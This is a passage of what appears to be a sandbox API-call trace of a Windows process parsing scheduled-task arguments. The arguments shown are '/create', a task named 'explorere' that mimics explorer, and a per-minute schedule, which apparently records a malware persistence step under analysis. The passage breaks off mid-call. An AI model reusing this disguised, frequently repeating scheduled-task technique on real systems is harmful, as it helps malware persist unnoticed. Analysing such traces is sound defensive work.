GetProcessHeap () returned 0x1a4f4a30000 [0118.649] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a7b0) returned 0x776 [0118.649] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a7b0) returned 1 [0118.649] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="?") returned 1 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="create") returned 6 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="delete") returned 6 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="query") returned 5 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="change") returned 6 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="run") returned 3 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="end") returned 3 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] lstrlenW (lpString="showsid") returned 7 [0118.650] GetThreadLocale () returned 0x409 [0118.650] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0118.650] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.650] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.650] lstrlenW (lpString="/create") returned 7 [0118.650] lstrlenW (lpString="-/") returned 2 [0118.650] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.651] lstrlenW (lpString="?") returned 1 [0118.651] lstrlenW (lpString="?") returned 1 [0118.651] GetProcessHeap () returned 0x1a4f4a30000 [0118.651] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34350 [0118.651] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.651] GetProcessHeap () returned 0x1a4f4a30000 [0118.651] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xa) returned 0x1a4f4a338d0 [0118.651] lstrlenW (lpString="create") returned 6 [0118.651] GetProcessHeap () returned 0x1a4f4a30000 [0118.651] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a338f0 [0118.651] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.651] GetProcessHeap () returned 0x1a4f4a30000 [0118.651] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x14) returned 0x1a4f4a33910 [0118.651] _vsnwprintf (in: _Buffer=0x1a4f4a338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|?|") returned 3 [0118.651] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.651] lstrlenW (lpString="|?|") returned 3 [0118.651] lstrlenW (lpString="|create|") returned 8 [0118.651] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.651] lstrlenW (lpString="create") returned 6 [0118.651] lstrlenW (lpString="create") returned 6 [0118.651] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.651] GetProcessHeap () returned 0x1a4f4a30000 [0118.651] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a338d0) returned 1 [0118.651] GetProcessHeap () returned 0x1a4f4a30000 [0118.651] RtlReAllocateHeap (Heap=0x1a4f4a30000, Flags=0xc, Ptr=0x1a4f4a338d0, Size=0x14) returned 0x1a4f4a33930 [0118.651] lstrlenW (lpString="create") returned 6 [0118.651] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.652] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.652] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.652] lstrlenW (lpString="|create|") returned 8 [0118.652] lstrlenW (lpString="|create|") returned 8 [0118.652] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0118.652] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.652] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.652] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.652] lstrlenW (lpString="/tn") returned 3 [0118.652] lstrlenW (lpString="-/") returned 2 [0118.652] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.652] lstrlenW (lpString="?") returned 1 [0118.652] lstrlenW (lpString="?") returned 1 [0118.652] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.652] lstrlenW (lpString="tn") returned 2 [0118.652] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.652] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|?|") returned 3 [0118.652] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.652] lstrlenW (lpString="|?|") returned 3 [0118.652] lstrlenW (lpString="|tn|") returned 4 [0118.652] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.652] lstrlenW (lpString="create") returned 6 [0118.652] lstrlenW (lpString="create") returned 6 [0118.652] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.653] lstrlenW (lpString="tn") returned 2 [0118.653] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.653] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.653] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.653] lstrlenW (lpString="|create|") returned 8 [0118.653] lstrlenW (lpString="|tn|") returned 4 [0118.653] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0118.653] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.653] lstrlenW (lpString="delete") returned 6 [0118.653] lstrlenW (lpString="delete") returned 6 [0118.653] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.653] lstrlenW (lpString="tn") returned 2 [0118.653] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.653] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|delete|") returned 8 [0118.653] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.653] lstrlenW (lpString="|delete|") returned 8 [0118.653] lstrlenW (lpString="|tn|") returned 4 [0118.653] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0118.653] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.653] lstrlenW (lpString="query") returned 5 [0118.653] lstrlenW (lpString="query") returned 5 [0118.653] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.653] lstrlenW (lpString="tn") returned 2 [0118.653] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.653] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|query|") returned 7 [0118.653] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.654] lstrlenW (lpString="|query|") returned 7 [0118.654] lstrlenW (lpString="|tn|") returned 4 [0118.654] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0118.654] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.654] lstrlenW (lpString="change") returned 6 [0118.654] lstrlenW (lpString="change") returned 6 [0118.654] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.654] lstrlenW (lpString="tn") returned 2 [0118.654] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.654] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|change|") returned 8 [0118.654] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.654] lstrlenW (lpString="|change|") returned 8 [0118.654] lstrlenW (lpString="|tn|") returned 4 [0118.654] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0118.654] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.654] lstrlenW (lpString="run") returned 3 [0118.654] lstrlenW (lpString="run") returned 3 [0118.654] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.654] lstrlenW (lpString="tn") returned 2 [0118.654] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.654] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|run|") returned 5 [0118.654] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.654] lstrlenW (lpString="|run|") returned 5 [0118.654] lstrlenW (lpString="|tn|") returned 4 [0118.654] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0118.654] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.655] lstrlenW (lpString="end") returned 3 [0118.655] lstrlenW (lpString="end") returned 3 [0118.655] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.655] lstrlenW (lpString="tn") returned 2 [0118.655] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.655] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|end|") returned 5 [0118.655] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.655] lstrlenW (lpString="|end|") returned 5 [0118.655] lstrlenW (lpString="|tn|") returned 4 [0118.655] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0118.655] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.655] lstrlenW (lpString="showsid") returned 7 [0118.655] lstrlenW (lpString="showsid") returned 7 [0118.655] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.655] GetProcessHeap () returned 0x1a4f4a30000 [0118.655] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33930) returned 1 [0118.655] GetProcessHeap () returned 0x1a4f4a30000 [0118.655] RtlReAllocateHeap (Heap=0x1a4f4a30000, Flags=0xc, Ptr=0x1a4f4a33930, Size=0x16) returned 0x1a4f4a33930 [0118.655] lstrlenW (lpString="tn") returned 2 [0118.655] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.655] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|showsid|") returned 9 [0118.655] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tn|") returned 4 [0118.655] lstrlenW (lpString="|showsid|") returned 9 [0118.655] lstrlenW (lpString="|tn|") returned 4 [0118.655] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0118.655] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.655] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.655] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.655] lstrlenW (lpString="/tn") returned 3 [0118.656] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] lstrlenW (lpString="/tn") returned 3 [0118.656] GetProcessHeap () returned 0x1a4f4a30000 [0118.656] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x8) returned 0x1a4f4a338d0 [0118.656] GetProcessHeap () returned 0x1a4f4a30000 [0118.656] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b890 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] lstrlenW (lpString="explorere") returned 9 [0118.656] lstrlenW (lpString="-/") returned 2 [0118.656] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] lstrlenW (lpString="explorere") returned 9 [0118.656] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] lstrlenW (lpString="explorere") returned 9 [0118.656] GetProcessHeap () returned 0x1a4f4a30000 [0118.656] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x14) returned 0x1a4f4a3a8a0 [0118.656] GetProcessHeap () returned 0x1a4f4a30000 [0118.656] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b530 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.656] lstrlenW (lpString="/sc") returned 3 [0118.656] lstrlenW (lpString="-/") returned 2 [0118.656] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.657] lstrlenW (lpString="?") returned 1 [0118.657] lstrlenW (lpString="?") returned 1 [0118.657] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.657] lstrlenW (lpString="sc") returned 2 [0118.657] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.657] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|?|") returned 3 [0118.657] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.657] lstrlenW (lpString="|?|") returned 3 [0118.657] lstrlenW (lpString="|sc|") returned 4 [0118.657] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.657] lstrlenW (lpString="create") returned 6 [0118.657] lstrlenW (lpString="create") returned 6 [0118.657] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.657] lstrlenW (lpString="sc") returned 2 [0118.657] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.657] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.657] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.657] lstrlenW (lpString="|create|") returned 8 [0118.657] lstrlenW (lpString="|sc|") returned 4 [0118.657] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0118.657] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.657] lstrlenW (lpString="delete") returned 6 [0118.657] lstrlenW (lpString="delete") returned 6 [0118.657] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.657] lstrlenW (lpString="sc") returned 2 [0118.657] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.658] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|delete|") returned 8 [0118.658] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.658] lstrlenW (lpString="|delete|") returned 8 [0118.658] lstrlenW (lpString="|sc|") returned 4 [0118.658] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0118.658] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.658] lstrlenW (lpString="query") returned 5 [0118.658] lstrlenW (lpString="query") returned 5 [0118.658] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.658] lstrlenW (lpString="sc") returned 2 [0118.658] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.658] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|query|") returned 7 [0118.658] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.658] lstrlenW (lpString="|query|") returned 7 [0118.658] lstrlenW (lpString="|sc|") returned 4 [0118.658] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0118.658] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.658] lstrlenW (lpString="change") returned 6 [0118.658] lstrlenW (lpString="change") returned 6 [0118.658] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.658] lstrlenW (lpString="sc") returned 2 [0118.658] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.658] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|change|") returned 8 [0118.658] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.658] lstrlenW (lpString="|change|") returned 8 [0118.659] lstrlenW (lpString="|sc|") returned 4 [0118.659] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0118.659] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.659] lstrlenW (lpString="run") returned 3 [0118.659] lstrlenW (lpString="run") returned 3 [0118.659] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.659] lstrlenW (lpString="sc") returned 2 [0118.659] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.659] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|run|") returned 5 [0118.659] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.659] lstrlenW (lpString="|run|") returned 5 [0118.659] lstrlenW (lpString="|sc|") returned 4 [0118.659] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0118.659] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.659] lstrlenW (lpString="end") returned 3 [0118.659] lstrlenW (lpString="end") returned 3 [0118.659] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.659] lstrlenW (lpString="sc") returned 2 [0118.659] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.659] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|end|") returned 5 [0118.659] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.659] lstrlenW (lpString="|end|") returned 5 [0118.659] lstrlenW (lpString="|sc|") returned 4 [0118.659] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0118.659] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] lstrlenW (lpString="showsid") returned 7 [0118.660] lstrlenW (lpString="showsid") returned 7 [0118.660] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.660] lstrlenW (lpString="sc") returned 2 [0118.660] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.660] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|showsid|") returned 9 [0118.660] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|sc|") returned 4 [0118.660] lstrlenW (lpString="|showsid|") returned 9 [0118.660] lstrlenW (lpString="|sc|") returned 4 [0118.660] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] lstrlenW (lpString="/sc") returned 3 [0118.660] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] lstrlenW (lpString="/sc") returned 3 [0118.660] GetProcessHeap () returned 0x1a4f4a30000 [0118.660] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x8) returned 0x1a4f4a33b30 [0118.660] GetProcessHeap () returned 0x1a4f4a30000 [0118.660] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b2f0 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] lstrlenW (lpString="MINUTE") returned 6 [0118.660] lstrlenW (lpString="-/") returned 2 [0118.660] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.660] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.661] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.661] lstrlenW (lpString="MINUTE") returned 6 [0118.661] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0118.661] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.661] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.661] lstrlenW (lpString="MINUTE") returned 6 [0118.661] GetProcessHeap () returned 0x1a4f4a30000 [0118.661] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xe) returned 0x1a4f4a3a860 [0118.661] GetProcessHeap () returned 0x1a4f4a30000 [0118.661] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b560 [0118.661] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.661] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.661] lstrlenW (lpString="/mo") returned 3 [0118.661] lstrlenW (lpString="-/") returned 2 [0118.661] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.661] lstrlenW (lpString="?") returned 1 [0118.661] lstrlenW (lpString="?") returned 1 [0118.661] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.661] lstrlenW (lpString="mo") returned 2 [0118.661] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.661] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|?|") returned 3 [0118.661] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.661] lstrlenW (lpString="|?|") returned 3 [0118.661] lstrlenW (lpString="|mo|") returned 4 [0118.661] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.661] lstrlenW (lpString="create") returned 6 [0118.661] lstrlenW (lpString="create") returned 6 [0118.661] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.662] lstrlenW (lpString="mo") returned 2 [0118.662] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.662] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.662] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.662] lstrlenW (lpString="|create|") returned 8 [0118.662] lstrlenW (lpString="|mo|") returned 4 [0118.662] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0118.662] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.662] lstrlenW (lpString="delete") returned 6 [0118.662] lstrlenW (lpString="delete") returned 6 [0118.662] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.662] lstrlenW (lpString="mo") returned 2 [0118.662] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.662] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|delete|") returned 8 [0118.662] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.662] lstrlenW (lpString="|delete|") returned 8 [0118.662] lstrlenW (lpString="|mo|") returned 4 [0118.662] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0118.662] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.662] lstrlenW (lpString="query") returned 5 [0118.662] lstrlenW (lpString="query") returned 5 [0118.662] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) 